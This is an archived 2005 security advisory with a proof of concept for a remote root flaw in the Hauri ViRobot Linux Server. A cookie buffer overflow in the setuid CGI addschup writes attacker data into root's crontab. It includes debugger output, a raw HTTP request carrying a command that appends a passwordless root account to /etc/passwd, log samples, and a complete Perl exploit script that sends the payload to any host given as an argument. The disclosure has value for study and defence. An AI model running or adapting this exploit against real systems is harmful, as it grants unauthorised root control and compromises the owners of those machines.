<<< Date Index >>>     <<< Thread Index >>>

DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'




DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'
Author: Kevin Finisterre
Vendor: http://www.globalhauri.com
Product: 'ViRobot Linux (and Unix?) Server'
References: 
http://www.digitalmunition.com/DMA[2005-0614a].txt

Description: 
HAURI, Inc. is a leading anti-virus solution provider in the global market. 
The "ViRobot" which was developed exclusively by HAURI, is an excellent and 
powerful anti-virus that uses a unique type of detection engine technology 
to detect the latest viruses and to repair files infected with those viruses. 
The HAURI anti-virus technology is regarded highly in Korea and has received 
rave reviews from all over the world. 

HAURI has a customer base in multiple parts of the world:
US & Canada : Global HAURI Inc. - http://www.globalhauri.com
Singapore : HAURI ASIA Pte Ltd. - http://www.hauri.com.sg 
Japan : HAURI JAPAN Inc. - http://www.hauri.co.jp
China : China Blue Star Hauri Technology Co., Ltd. - http://www.hauri.com.cn
Latin/Mexico : HAURI Latinoamerica S.A. - http://www.haurilatin.com
Latin/Brazil : Hauri do Brazil - http://www.haurilatin.com
Europe : Hauri Europe GmbH - http://www.hauri-europe.com
Korea : HAURI Inc. - http://www.hauri.co.kr

HAURI, Inc. is also a GSA Schedule compatible company.

Our testing was performed against the 60 Day ViRobot trial located at: 
http://www.globalhauri.com/html/download/down_linux_end.html
b37ae48a9c46985a753f5d28588753c2  /home/kfinisterre/linux_eng_60days.tar.gz

Both ViRobot Unix Server and ViRobot Linux Server have a user-friendly web-based
control interface. Access control is built into the system to ensure that only 
authorized personnel can have control of the server. Unfortunately the system 
makes use of cookie based authentication in an insecure manor.

During our trial run we found that the /usr/local/ViRobot/cgi-bin/addschup 
binary 
is vulnerable to a trivial remote expoit. In order to explain the bug we can 
make 
use of multiple exported variables to simulate a remote request. Below we show 
the environmental conditions necessary to exploit addschup remotely. 

The fact that addschup is setuid helps make this both a local and remote root. 
jdam:/usr/local/ViRobot/cgi-bin# ls -al addschup
-rwsr-sr-x  1 root staff 26484 2005-01-05 01:30 addschup

We need to set the following variables in order to behave as if a browser 
request
was made. 
kfinisterre@jdam:/tmp$ export REMOTE_ADDR=127.0.0.1 
kfinisterre@jdam:/tmp$ export REQUEST_METHOD=POST 
kfinisterre@jdam:/tmp$ export CONTENT_TYPE=application/x-www-form-urlencoded 
kfinisterre@jdam:/tmp$ export CONTENT_LENGTH=1 
kfinisterre@jdam:/tmp$ export PATH=$PATH:/sbin:/usr/sbin 

At this point the cgi binary should run however it will complain that we have 
not authenticated. 

<font size=2>You need to authenticate.</font>

>From the usage of ltrace we found that the request for authentication is 
>checked via
a cookie with the paramaters "ViRobot_ID" and "ViRobot_PASS". The ViRobot_PASS 
is 
optional for exploitation. For the time being setting the ViRobot_ID to a 
string of 
36 chars should work just fine.  

kfinisterre@jdam:/tmp$ export HTTP_COOKIE=ViRobot_ID=<36 chars>

Because we set out CONTENT_LENGTH to 1 earlier we must send at least one char 
to the
stdin of the addschup binary. When addschup is satisfied with all environment 
of the
variables and the input from stdin it will attempt to create a crontab file for 
root.
Since we are running the program as a regular binary rather than as a cgi the 
output 
html that the web browser should recieve is dumped to the terminal.

kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ echo a | ./addschup
Content-type:text/html

<HTML>
<HEAD></HEAD>
<BODY bgcolor=#FFFFFF text=#000000>
<META HTTP-EQUIV="REFRESH" CONTENT="0; url=/cgi-bin/schupdate">
</BODY>
</HTML>

In the above example we chose to use a ViRobot_ID of 36 chars. We did this in 
order
to outline the basis of the vulnerability. As mentioned above addschup attempts 
to add
the scheduled update to roots crontab in /var/spool/cron/root. Unfortunately 
the 
author of ViRobot made use of a small buffer to hold the username from the 
cookie data.
Because of this some of our userinput has spilled over into the buffer that is 
supposed
to contain the entry that will be placed in the crontab file. The result as you 
can see
is a string of four A's in roots crontab just before the vrupdate command. 

The above example causes a root crontab entry with malicious userinput. 
kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ cat /var/spool/cron/root
* * * * * AAAA/ViRobot/vrupdate -s > /dev/null 2>&1

The below output from gdb outlines the usage of a small 32 byte buffer to store 
the user
name for ViRobot. The data stored in the username variable comes from the 
HTTP_COOKIE's 
ViRobot_ID field, if this data is longer than 32 chars it will wind up bleeding 
over 
into the install_path variable. 

This is an example of a valid username stored in the username buffer:
0x8052e00 <username>:    "virobotadmin-aaaaaaaaaaaa"
0x8052e1c <username+28>:         ""
0x8052e1d <username+29>:         ""
0x8052e1e <username+30>:         ""
0x8052e1f <username+31>:         ""
0x8052e20 <install_path>:        "/usr/local"

This however shows an overflown username bleeding into the install path. 
0x8052e00 <username>:    "virobotadmin-aaaaaaaaaaaa", 'A' <repeats 183 times>...
0x8052ec8 <install_path+168>:    'A' <repeats 200 times>...

Overflowing the install_path alone is not enough for exploitation. Lucky for us 
the 
install_path is used later on as a prefix for the crontab entry. This data 
shows what the 
cron entry looks like both before and after the overflow of the username field. 

0x8052f70:       "¼p\025@¼p\025@* /usr/local/ViRobot/vrupdate -s > /dev/null 
2>&1\n"

0x8052f70:       "¼p\025@¼p\025@* AAAAA/ViRobot/vrupdate -s > /dev/null 2>&1\n"

In essence what happens is that We control the 6th paramater passed to an 
fprintf call 
that uses the following format. 
0x804a740 <_IO_stdin_used+572>:  "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 
2>&1\n"

Controlling the data that is written to roots crontab obviously gives us some 
flexibility 
for exploitation. Unfortunately we do not have any control over some of the 
crontab data
however this does not pose any issue when exploiting the condition. 

After writing the data to /var/spool/cron/root virobot executes the following 
commands: 
killall crond > /dev/null 
/etc/rc.d/init.d/crond restart > /dev/null 

If we combine the fact that we can write to roots crontab with the fact that 
this can all 
be done remotely we wind up with a nice exploit. 

The above malformed queries can simply be sent via http with the following 
request: 
POST /cgi-bin/addschup HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 
Debian/1.7.3-5
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-length: 1
Cookie: ViRobot_ID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/echo 
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &

The logs on the host being attacked will resemble the following: 

in /usr/local/ViRobot/var/apache/access_log:
192.168.1.201 - - [23/Jan/2005:16:51:00 -0500] "POST /cgi-bin/addschup 
HTTP/1.1" 200 149

in /var/log/messages:
Jan 23 16:51:00 localhost crond: crond startup succeeded

in /var/log/cron:
Jan 23 16:21:44 localhost crond[1779]: (CRON) STARTUP (fork ok)
Jan 23 16:21:45 localhost anacron[1788]: Anacron 2.3 started on 2005-01-23
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.daily' in 65 min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.weekly' in 70 min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.monthly' in 75 min.
Jan 23 16:21:45 localhost anacron[1788]: Jobs will be executed sequentially
Jan 23 16:50:59 localhost crond[2317]: (CRON) STARTUP (fork ok)
Jan 23 16:51:00 localhost CROND[2322]: (root) CMD (/bin/echo 
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)
Jan 23 16:52:00 localhost CROND[2372]: (root) CMD (/bin/echo 
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)

in /etc/passwd (per our example). 
r00t::0:0:root:/root:/bin/bash
r00t::0:0:root:/root:/bin/bash
Keep in mind that output will be added every minute cron runs unless the attack 
has been cleaned up. 

This has been tested on the default version of Redhat 9 with 
vixie-cron-3.0.1-74 and Debian 3.1 with 
cron-3.0pl1-86. The redhat system was exploited instantly.  With debian however 
the cron package makes 
use of /var/spool/cron/crontabs/ which prevents the malformed crontab from 
being executed. Debian users 
with ViRobot may have made their system exploitable in efforts to have full 
functionality. This could have  
been done via "ln -s /var/spool/cron/root/ /var/spool/cron/crontabs/root".

Please note that the addschup is not the only binary that overflows via the 
above mentioned method. We 
found that addschup provided the best remote exploitation. Other binaries may 
provide other local or remote
attack vectors. 

Work Around: 
Chmod -s every virobot binary in sight and filter remote access to the web 
interface. 

Timeline associated with this bug: 
Wed, 14 Mar 2005 Tired of sitting on the information, public disclosure.

Please note that the vendor was NOT notified based on prior frustrating 
disclosure attempts. 
After the release of SRT2003-08-11-0729 (via SnoSoft) I made the decision to 
not deal with the company 
moving forward. 

Thanks to Alex Hernandez for turning me on to this product and the fact that it 
is full of bugs!
-KF


#!/usr/bin/perl
# ViRobot 2.0 remote cookie exploit - ala addschup
# copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# ls: /var/spool/cron/root: No such file or directory
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# -rw-r--r--  1 root staff 104 2005-01-23 14:43 /var/spool/cron/root
#
# We control the 6th paramater passed to an fprintf call. 
# 
# 0x804a740 <_IO_stdin_used+572>:  "%s %s %s %s %s %s/%s/vrupdate -s > 
/dev/null 2>&1\n"
#
# * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd 
&/ViRobot/vrupdate -s > /dev/null 2>&1


use IO::Socket;
$hostName = $ARGV[0];

$sock = IO::Socket::INET->new (
                Proto => "tcp",
                PeerAddr => $hostName,
                PeerPort => 8080,
                Type => SOCK_STREAM
);

if (! $sock)
{
        print "[*] Error, could not connect to the remote host: $!\n";
        exit (0);
}

$target = "/cgi-bin/addschup";
$crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &"; 
$postbody = "POST $target HTTP/1.1\n" .
"Host: localhost:8080\n" .
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 
Debian/1.7.3-5\n" .
"Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"
 .
"Accept-Encoding: gzip,deflate\n" .
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" .
"Keep-Alive: 300\n" .
"Connection: keep-alive\n" .
"Content-type: application/x-www-form-urlencoded\n" .
"Content-length: 1\n" .
"Cookie: ViRobot_ID=" . "A" x 32 . "$crondata\n";

print $sock $postbody;
close ($sock);
exit (0);